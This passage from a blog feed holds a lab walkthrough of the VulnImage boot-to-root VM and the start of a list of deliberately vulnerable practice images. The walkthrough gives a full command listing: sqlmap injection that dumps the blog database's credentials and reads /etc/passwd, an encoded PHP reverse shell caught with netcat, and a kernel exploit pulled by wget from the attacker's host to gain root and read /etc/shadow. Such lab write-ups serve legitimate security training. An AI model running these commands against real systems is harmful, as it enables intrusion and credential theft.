red;"&gt;Links&lt;/span&gt;&lt;br /&gt;Watch video on-line: &lt;a href="http://blip.tv/g0tmi1k/vulnimage-automated-5823019"&gt;http://blip.tv/g0tmi1k/vulnimage-automated-5823019&lt;/a&gt;&lt;a href="http://www.mediafire.com/?70m714m55v4c6df"&gt;&lt;/a&gt;&lt;br /&gt;Download video:&amp;nbsp;&lt;a href="http://mediafire.com/?ul63qrct6rzyua8"&gt;http://mediafire.com/?ul63qrct6rzyua8&lt;/a&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="500" src="http://blip.tv/play/hdkFguO1DwA.html" width="500"&gt;&lt;/iframe&gt;&lt;embed data="https://blip.tv/api.swf#hdkFguO1DwA" src="http://a.blip.tv/api.swf#hdkFguO1DwA" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Brief Overview&lt;/div&gt;&lt;a href="http://g0tmi1k.blogspot.com/search/label/VulnImage"&gt;VulnImage&lt;/a&gt;&amp;nbsp;is an obscure &lt;i&gt;(I can't even find a 'homepage' as such, for it!)&lt;/i&gt;&amp;nbsp;"&lt;a href="http://g0tmi1k.blogspot.com/search/label/boot2root"&gt;boot-to-root&lt;/a&gt;"&amp;nbsp;operating system which has purposely crafted weakness(es) inside itself. The&amp;nbsp;user's end goal is to interact with it and get the highest user privilege they can.&lt;br /&gt;&lt;br /&gt;The 'automated' tag is because of the combination of Burp Proxy &amp;amp; SQLMap to discover the SQL injection&amp;nbsp;vulnerability with very limited user interaction as well as using a kernel exploit to&amp;nbsp;escalate privileges to gain root access. A more advanced method can be found &lt;a href="http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Method&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Scanned network for the target [NetDiscover]&lt;/li&gt;&lt;li&gt;Port scanned the target [UnicornScan]&lt;/li&gt;&lt;li&gt;Banner grabbed the services&amp;nbsp;running on the open port(s) [NMap]&lt;/li&gt;&lt;li&gt;Interacted &amp;amp; intercepted with the web server [Firefox &amp;amp; Burp Proxy]&lt;/li&gt;&lt;li&gt;Discovered an SQL injection&amp;nbsp;vulnerably [SQLMap]&lt;/li&gt;&lt;li&gt;Manipulate the blog to upload an encoded backdoor [Pentestmonkey's Php-Reverse-Shell &amp;amp; Metasploit]&lt;/li&gt;&lt;li&gt;Escalated privileges via a vulnerable kernel version [udp_sendmsg]&lt;/li&gt;&lt;li&gt;Accessed the 'flag' [Phrack]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;What do I need?&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ds.mathematik.uni-marburg.de/~lbaumgaertner/vulnimage.zip"&gt;vulnimage.zip&lt;/a&gt;&amp;nbsp;&lt;i&gt;&lt;span style="font-size: xx-small;"&gt;(MD5: 8CB0E628AEB3C7E1F771764D07280655)&lt;/span&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;A virtual machine&amp;nbsp;&lt;i&gt;(Example:&amp;nbsp;&lt;a href="http://www.filehippo.com/download_vmware_player/"&gt;VMware Player&lt;/a&gt;&amp;nbsp;or&amp;nbsp;&lt;i&gt;&lt;a href="http://www.filehippo.com/download_virtualbox/"&gt;Virtual Box&lt;/a&gt;&lt;/i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.nixgeneration.com/~jaime/netdiscover/"&gt;NetDiscover&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found in&amp;nbsp;&lt;a href="http://www.backtrack-linux.org/downloads/"&gt;BackTrack 5&lt;/a&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.unicornscan.org/" style="font-style: normal;"&gt;UnicornScan&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found in BackTrack 5's repository).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nmap.org/"&gt;NMap&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://www.mozilla.org/en-US/firefox"&gt;Firefox&amp;nbsp;&lt;/a&gt;–&amp;nbsp;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://portswigger.net/burp/proxy.html"&gt;Burp Proxy&lt;/a&gt; –&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap &lt;/a&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://metasploit.com/"&gt;Msfvenom&amp;nbsp;&lt;/a&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Part of Metasploit &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell"&gt;php-reverse-shell&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;NetCat&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&lt;a href="http://www.exploit-db.com/exploits/9574/"&gt;udp_sendmsg&lt;/a&gt;&amp;nbsp;–&amp;nbsp;&lt;/span&gt;&lt;i&gt;(Found on exploit-db.com &amp;amp; Can be found&amp;nbsp;&lt;/i&gt;&lt;i&gt;&lt;i&gt;in&amp;nbsp;&lt;/i&gt;BackTrack 5&lt;/i&gt;&lt;i&gt;).&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Walkthrough&lt;/div&gt;The first stage is to locate the target, which the attacker does by using&amp;nbsp;"NetDiscover" as this quickly lists all IP's, Media Access Control (MAC) addresses and any known vendors that relate to the MAC address in any subnet. The attacker knows that the target is using VMware, as there aren’t any other&amp;nbsp;virtual&amp;nbsp;machines in use and the target hasn't spoofed their MAC address, therefore, the target is successfully&amp;nbsp;identified.&lt;br /&gt;&lt;br /&gt;As the attacker can now isolate the target on the network, the attacker proceeds by port scanning the target as this allows the attacker to see if there are any services which are listening on the exposed interface. The attacker chooses to use "UnicornScan" as it is accurate &amp;amp; efficient whilst scanning at speed. The result being it discovers 7 open TCP ports; 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS), 445 (SAMBA), 3306 (MySQL) and 7777 (CBT). There is only 1 UDP port, 137 (NETBIOS). The attacker then chooses to verify the TCP results by using "nmap" to do another port scan. At the same time, the attacker takes advantage of some other features built into nmap, such as its scripting engine. This enumerates the open port's protocols and services which have been detected, as well as banner grabbing. The attack chooses to interact with the web service which is running on the default TCP port 80. The justification for this is because it is a very graphical, friendly and common way in, allowing the end user to interact. As a result there could be lots of information which could be enumerated as well as very poorly written code which could be taken advantage of.&lt;br /&gt;&lt;br /&gt;The web service responds normally when the attacker interacts with it using a web browser, "firefox", however the attacker then takes it one stage further by capturing any requests which are made to it using "burp proxy".&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;'Normal'&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) &amp;lt;---&amp;gt; Target (Web server)&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;'Intercepted'&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: #38761d;"&gt;Attacker (Firefox) &amp;lt;---&amp;gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0b5394;"&gt;Burp Proxy &lt;/span&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;---&amp;gt; Target (Web server)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;By using burp proxy, the attacker is able to monitor every aspect of what is being requested and then how the web server responds. The attacker then just interacts normally with the target by viewing pages. The attacker soon sees the web service is running a blog, and notes the username (blogger) from which two posts have been made. After freely clicking a few links, the attacker sees that anyone can view the page which can make new blog posts, however there is a username &amp;amp; password field which the attacker doesn't have credentials for along with a page to update their profile. The attacker doesn't know any credentials and therefore fills in random junk data into the fields before submitting. This is done for burps benefit as it will capture the requests thus knowing data can be entered on this page. The attacker is presented with a message saying the username and or password is wrong. &lt;i&gt;At this point the attack restores proxy settings as firefox is not needed any longer.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;When the attacker was interacting the with the web application, they made a request with data that they entered. The data which was filled in was checked against a form of database to see if there was an entry that matched. By using "SQLMap"&amp;nbsp;allows the attacker to manipulate the database in ways the original request wasn't meant for (providing that the field hasn't been 'correctly' filtered).&amp;nbsp;SQLMap allows for multiple database formats, using different injection techniques and inbuilt enumeration to be tested without any user interaction. The attacker simply uses the log file which was created from burp and requests what information is to be enumerated. The attacker soon discovers the web service which is being used, as well as the operating system, the database and user which is connected to it, and, if that user is database administrator. The attacker then 'dumps' all the username and passwords for the database - &lt;i&gt;these could be cracked to see if any credentials were re-used.&lt;/i&gt; The attacker checks to see if any users to the database and the operating system match. The attacker moves on by viewing the database structure as well as the contents. Upon inspection they enumerated three databases along with the column names, types and number of entries. The last stage for the attacker was to view the contents of the blog's credentials. As the attacker has successfully managed to enumerate the whole database, the attacker was able to very easily locate the credentials, and soon discover that they are stored in 'plain text'.&lt;br /&gt;&lt;br /&gt;Another feature of burp is its 'repeater', which allows for data to be easily viewed, edited and sent multiple times. The attacker locates the request which was made at the beginning with junk data and passes it to the repeater and updates the respectable fields with the newly acquired credentials. The attacker notices another field, which, when they made the 'normal' request with the junk data, they didn't have 'control' over. This 'hidden' field looks like it as a file extension that is commonly used for text files. Before the attacker makes the new request, they add an additional forward slash which is used to signal the use of folders instead of files in a Linux environment (which the attacker managed to identify when they used SQLMap). At the end of the response of the web application, is an error message informing the end user that it isn't able to access the file or folder (this is due to the modified request), along with detailed paths such as the file which failed to access the location as well as the location which failed! The attacker copies the failed location and amends the path, to view the content which should have been requested. Upon viewing it, the attacker sees that this is the location of the signature for the user (text which is always included when the user makes a post). This wasn't stored in the database, but in a file instead, which means to allow users to update their signatures this folder has to be writeable. The attacker goes back to the repeater, and tries to use a single PHP coded line in the signature to see if they are able to execute PHP functions on the server itself. Before they made the request, they fix the hidden field to be correct, as well as update the file format to indicate that it’s a PHP file and not a text document. The result is that the attacker was able to view their simple processed test message, not the code itself, which means the attacker, is able to write PHP functions and the target executes it.&lt;br /&gt;&lt;br /&gt;Pentest monkey has created "php-reverse-shell" which allows for an interactive shell to spawn by using PHP. The attacker makes a copy of it, making sure the original version isn't edited. Due to the nature of the shell, its reversed, which means communication comes back to the attacker, thus the shell needs to be able to locate the attacker. The attacker then specifies their IP address and a port of their choosing. After updating the shell, the attacker encodes it using "msfvenom" to 'base64'. The reasoning for this is because we do not wish for the content of the shell to be interpreted by the blogging software's update profile feature, as there is a chance the contents of the shell could be interrupted before it's all submitted. &lt;i&gt;Editor's note: There are other reasons for encoding it, but I'm not discussing them now.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Before the attacker views the new signature, which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses "netcat" to be the handler as it is a 'swiss army knife', and is able to understand the raw data being sent from the target to it. The attacker has netcat listening on the same port as used in the shell, and then requests the php shell signature to be displayed. The target then executes the PHP commands, which decodes the base64 shell, and then processes the contents causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using a interactive shell.&lt;br /&gt;&lt;br /&gt;The attacker quickly checks to see which user they are currently logged in as. This will be the same as the web service as that was the process to execute the shell connection. The attacker now tries to escape privileges to gain a higher level of access to the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and searches their local copy of a public exploit database ("exploit-db.com"). Upon searching for the exact same kernel version, it only returns one known exploit (which was un-successful). The attacker carries on by searching for the same "major.intermediate" versions (removed ".minor"), and sorts them in ascending order.&amp;nbsp;This returns results for kernel versions that are higher and lower than the target version as well as "generic" ones.&amp;nbsp;The justification for this is due to how the exploits are labelled. In the name of the exploit the vulnerable version could be for a certain version AND lower versions. Therefore as the searched string wouldn't match and it wouldn't be displayed in the results yet it could work.&amp;nbsp;After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read by anyone by giving it the certainly permissions as the web server uses a different user than the one which the attacker is currently logged in as and executing commands as. The last stage is to start the web service.&lt;br /&gt;&lt;br /&gt;Using the target, the attacker locates a folder which they have the permission to write and execute files from. After locating such a path, the attacker then controls the target to download the exploit package from the attacker and extract it. The included bash script does all the necessary commands and the end result is that the attacker has now gotten root access to the machine.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Upon exploring the file structure, in the home folder for the user "testuser" there is a folder called "stuff" which is only&amp;nbsp;accessible&amp;nbsp;to the superuser, root. Inside the folder, is a compressed archive of what appears to be the digital&amp;nbsp;magazine,&amp;nbsp;phrack. After it has been extracted and checking on the &lt;a href="http://www.phrack.org/issues.html?issue=67"&gt;website&lt;/a&gt;&amp;nbsp;the file was&amp;nbsp;&lt;/i&gt;&lt;i&gt;confirmed to be&amp;nbsp;&lt;/i&gt;&lt;i&gt;volume 67.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;"&gt;&lt;pre class="alt2" dir="ltr" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 600px;"&gt;netdiscover -r 192.168.0.1/24&lt;br /&gt;us -H -msf -Iv 192.168.0.110 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.0.110 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A -v 192.168.0.110    # -p 22,25,80,139,445,3306,7777 &lt;br /&gt;firefox -&amp;gt; 192.168.0.110 &lt;br /&gt;BT -&amp;gt; BackTrack -&amp;gt; Vulnerability Assessment -&amp;gt; Web Application Assessment -&amp;gt; Web Application Proxies -&amp;gt; burpsuite&lt;br /&gt;// Burp -&amp;gt; Proxy -&amp;gt; Intercept -&amp;gt; Off. Proxy -&amp;gt; Options -&amp;gt; Port: 8080. Options -&amp;gt; Misc -&amp;gt; Proxy -&amp;gt; Requests (Enable) -&amp;gt; /root/burp.log. Target.&lt;br /&gt;// Firefox -&amp;gt; Edit -&amp;gt; Preferences -&amp;gt; Advance -&amp;gt; Network -&amp;gt; Settings -&amp;gt; Manual proxy configurations -&amp;gt; 127.0.0.1:8080. blog (/myblog/) [username: blogger] -&amp;gt; Post new entry! (/admin/post.php) -&amp;gt; test // test // test&lt;br /&gt;cd /pentest/database/sqlmap/&lt;br /&gt;./sqlmap.py -l /root/burp.log --banner --current-user --current-db --is-dba&lt;br /&gt;./sqlmap.py -l /root/burp.log --passwords&lt;br /&gt;./sqlmap.py -l /root/burp.log --batch --file-read=/etc/passwd&lt;br /&gt;cat /pentest/database/sqlmap/output/192.168.0.110/files/_etc_passwd&lt;br /&gt;./sqlmap.py -l /root/burp.log --batch --dbs&lt;br /&gt;./sqlmap.py -l /root/burp.log --batch --tables&lt;br /&gt;./sqlmap.py -l /root/burp.log --batch --columns --count -D blogdb&lt;br /&gt;./sqlmap.py -l /root/burp.log --batch --dump -D blogdb&lt;br /&gt;&lt;br /&gt;// Burp -&amp;gt; target -&amp;gt; site map -&amp;gt; right click -&amp;gt; send to repeater. Repeater -&amp;gt; request -&amp;gt; params. Username: blogger Password: blogger01 sig: test frame: /sig.txt&lt;br /&gt;// firefox -&amp;gt; 192.168.0.110/profiles/blogger-sig.txt&lt;br /&gt;// Burp -&amp;gt; target -&amp;gt; site map -&amp;gt; right click -&amp;gt; send to repeater. Repeater -&amp;gt; request -&amp;gt; params. Username: blogger Password: blogger01 sig: &amp;lt;?php echo "test test 123"; ?&amp;gt; frame: sig.php&lt;br /&gt;// firefox -&amp;gt; 192.168.0.110/profiles/blogger-sig.php&lt;br /&gt;cp /pentest/backdoors/web/webshells/php-resever-shell.php /tmp/shell.php&lt;br /&gt;cd /tmp&lt;br /&gt;nano shell.php   # remove "&amp;lt;?" and "?&amp;gt;". Edit IP address and port   [ifconfig eth0]&lt;br /&gt;msfvenom -p generic/custom -e php/base64 -f raw PAYLOADFILE=shell.php&lt;br /&gt;nc -lvvp 443&lt;br /&gt;// Burp -&amp;gt; target -&amp;gt; site map -&amp;gt; right click -&amp;gt; send to repeater. Repeater -&amp;gt; request -&amp;gt; params. Username: blogger Password: blogger01 sig: &amp;lt;?php [msf output] ?&amp;gt;&lt;br /&gt;// firefox -&amp;gt; 192.168.0.110/profiles/blogger-sig.php&lt;br /&gt;# Burp -&amp;gt; file -&amp;gt; exit.&lt;br /&gt;# Firefox -&amp;gt; edit -&amp;gt; Preferences -&amp;gt; Advance -&amp;gt; Network -&amp;gt; Settings -&amp;gt; use system proxy settings&lt;br /&gt;id&lt;br /&gt;uname -a&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "&amp;lt;|&amp;lt;=" | sort -k3&lt;br /&gt;cat platforms/linux/local/9574.txt&lt;br /&gt;wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz&lt;br /&gt;chmod 755 /var/www/exploit.tgz&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;wget 192.168.0.162/exploit.tgz&lt;br /&gt;tar zxvf exploit.tgz&lt;br /&gt;cd therebel&lt;br /&gt;ls -lAh&lt;br /&gt;bash therebel.sh&lt;br /&gt;id&lt;br /&gt;/sbin/ifconfig eth0 &amp;amp;&amp;amp; uname -a &amp;amp;&amp;amp; cat /etc/shadow &amp;amp;&amp;amp; ls -lAh /root&lt;br /&gt;cd /home&lt;br /&gt;alias ls="ls -lAh"&lt;br /&gt;ls&lt;br /&gt;cd testuser&lt;br /&gt;ls&lt;br /&gt;cd stuff&lt;br /&gt;ls&lt;br /&gt;tar zxvf phrack67.tar.gz&lt;br /&gt;ls 67&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "I Moved It" -&amp;nbsp;&lt;i&gt;otherwise it could cause issues (e.g. the target will not be visible!).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious.&lt;/li&gt;&lt;li&gt;Instead of using "php-reverse-shell" &amp;amp; "netcat", "PHP Meterpreter" &amp;amp; "Metasploit" could of been used.&lt;/li&gt;&lt;/ul&gt;Song(s):&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/9217338/Anomaly-Calling-Your-Name/Product.html?aid=9217285"&gt;Libra Presents Taylor -&amp;nbsp;Anomaly - Calling Your Name (Original BT &amp;amp; Taylor)&lt;/a&gt;&lt;br /&gt;Video length: 09:24&lt;br /&gt;Capture length: 35:02&lt;br /&gt;Blog Post:&amp;nbsp;&lt;a href="http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html"&gt;http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=47185&amp;amp;p=211917#post211917"&gt;http://www.backtrack-linux.org/forums/showthread.php?t=47185&amp;amp;p=211917#post211917&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-4276607361767420661?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/4276607361767420661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4276607361767420661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4276607361767420661'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-automated-method.html' title='[Video] VulnImage - Automated Method'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-1452458874440457313</id><published>2011-11-10T11:53:00.000Z</published><updated>2011-11-11T13:44:02.332Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='Site News'/><title type='text'>[Site News] Vulnerable by Design (Part 3)</title><content type='html'>I've been slowly collecting various other 'Vulnerable by Design' programs. Below is a summary of what's new. The updated complete list can be found here: &lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;'Complete' Operating Systems&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://ghostinthelab.wordpress.com/"&gt;Hackademic&lt;/a&gt; (&lt;a href="http://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb1-root-this-box/"&gt;Box 1&lt;/a&gt;, &lt;a href="http://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb2-%e2%80%93-root-this-box/"&gt;Box 2&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://noconname.org/"&gt;NcN 2011&lt;/a&gt; [&lt;a href="http://videos.noconname.org/ncn11_vm.tar.bz2"&gt;Download&lt;/a&gt; (&lt;a href="http://repo.shell-storm.org/CTF/ncn2k11/"&gt;Mirror&lt;/a&gt;)]&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="http://ds.mathematik.uni-marburg.de/%7Elbaumgaertner/vulnimage.zip"&gt;vulnimage.zip &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;b&gt;(Offline) Web Based&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: #b45f06; font-size: xx-small;"&gt;[Updated]&lt;/span&gt; &lt;a href="https://code.google.com/p/bodgeit/"&gt;BodgeIT&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project"&gt;OWASP Hackademic Challenges Project&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project"&gt;OWASP Insecure Web App Project&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="https://code.google.com/p/puzzlemall/"&gt;PuzzleMall&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: #b45f06; font-size: xx-small;"&gt;[Updated]&lt;/span&gt; &lt;a href="http://suif.stanford.edu/%7Elivshits/securibench/"&gt;SecuriBench&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="https://code.google.com/p/puzzlemall/"&gt;PuzzleMall&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt;&amp;nbsp; &lt;a href="https://code.google.com/p/wavsep/%20"&gt;WAVSEP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue; font-size: xx-small;"&gt;[NEW]&lt;/span&gt; &lt;a href="http://sourceforge.net/projects/thebutterflytmp/"&gt;The Butterfly&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;b&gt;(Online) Web Based&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: blue; 